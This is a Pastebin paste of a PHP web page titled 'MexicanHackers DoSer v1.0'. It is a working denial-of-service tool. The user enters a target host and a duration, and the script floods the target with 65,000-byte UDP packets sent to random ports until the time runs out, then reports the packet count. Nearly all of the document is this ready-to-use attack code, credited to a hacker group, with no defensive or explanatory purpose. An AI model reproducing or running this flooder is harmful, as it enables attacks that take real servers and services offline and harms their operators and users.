Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <body>
- <center>
- <title>
- DoSer
- </title>
- <font color="green">
- <img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/203606_216562651713545_2810634_n.jpg" align=center>
- <h2><tt><font color="white">MexicanHackers DoSer v1.0 :) </h2></tt></font>
- <STYLE>
- input{
- background-color: #fffaf0; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66;
- }
- button{
- background-color: #fffaf0; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66;
- }
- body {
- background-color: black;
- }
- </style>
- <br>
- <p>
- <br>
- <p>
- <center>
- <?php
- //UDP
- if(isset($_GET['Host'])&&isset($_GET['time'])){
- $packets = 0;
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $exec_time = $_GET['time'];
- $time = time();
- //print "Started: ".time('d-m-y h:i:s')."<br>";
- $max_time = $time+$exec_time;
- $Host = $_GET['Host'];
- for($i=0;$i<65000;$i++){
- $out .= 'X';
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $rand = rand(1,65000);
- $fp = fsockopen('udp://'.$Host, $rand, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "<b>Attack</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
- echo '<h3><h3>
- <form action="'.$surl.'" method=GET>
- <input type="hidden" name="act" value="phptools">
- Host: <h3><input type=text name=Host><h3>
- Length (seconds): <br><input type=text name=time><br>
- <input type=submit value=Go></form>';
- }else{ echo '<h3><b>Attack!</b></h3>
- <form action=? method=GET>
- <input type="hidden" name="act" value="phptools">
- Host: <h3><input type=text name=Host value=><h3>
- Time (seconds): <h2><input type=text name=time value=><h3><h3>
- <input type=submit value=Start!></form>';
- }
- ?>
- <font color="white"><h4>Code Fixed & Designed By ./MexicanHackers (c) 2013-2014 Twitter: @HackersMx @TerryBits</h4></font>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement